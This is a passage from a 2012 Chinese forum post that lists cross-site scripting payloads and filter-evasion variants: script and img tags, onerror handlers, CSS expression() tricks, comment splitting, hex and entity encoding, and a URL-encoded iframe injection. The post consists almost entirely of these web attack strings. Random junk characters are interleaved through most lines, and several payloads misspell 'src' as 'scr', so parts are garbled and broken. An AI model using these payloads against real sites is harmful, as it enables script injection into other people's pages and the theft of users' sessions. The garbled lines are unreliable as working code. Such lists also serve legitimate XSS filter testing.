<script>alert("跨站")</script> (最常用）
7 A# n; M r+ ]9 a U6 D5 P<img scr=javascript:alert("跨站")></img># L2 N$ v4 l, v/ G# f7 o$ I
<img scr="javascript: alert(/跨站/)></img>% y5 W5 I; C/ d9 u7 T' \0 K9 A
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）1 E! D8 a$ E& T0 _8 {' n: j2 f) q
<img scr="#" onerror=alert(/跨站/)></img>
x# W/ c/ u7 f3 m5 ?7 W7 q3 r2 S<img scr="#" style="xss:expression(alert(/xss/));"></img>
- C# i+ `% b4 [2 X* W' z<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
( b8 A% w# F, K2 d<img src=vbscript:msgbox ("xss")></img>
/ f, c9 o& E7 \" `8 X3 S0 g9 |<style> input {left:expression (alert('xss'))}</style>( ?$ W8 L4 Z( f2 c0 |
<div style={left:expression (alert('xss'))}></div>
9 B/ ?; K, f* a9 m<div style={left:exp/* */ression (alert('xss'))}></div>1 ]' \8 z" Z5 N7 j7 G
<div style={left:\0065\0078ression (alert('xss'))}></div>% ?' J) [! C# b6 }" `* K% o" Y$ s
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
) K& ~4 S9 G1 P: municode <div style="{left:expRessioN (alert('xss'))}"> u3 J( o& K5 v, G/ G' z
$ m2 S7 n' n, _ G! f5 x* c# ~) W
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["% G! ~, ~ c( R: @- P+ ?
|
发表于 2012-9-15 14:09:13
收藏
支持
反对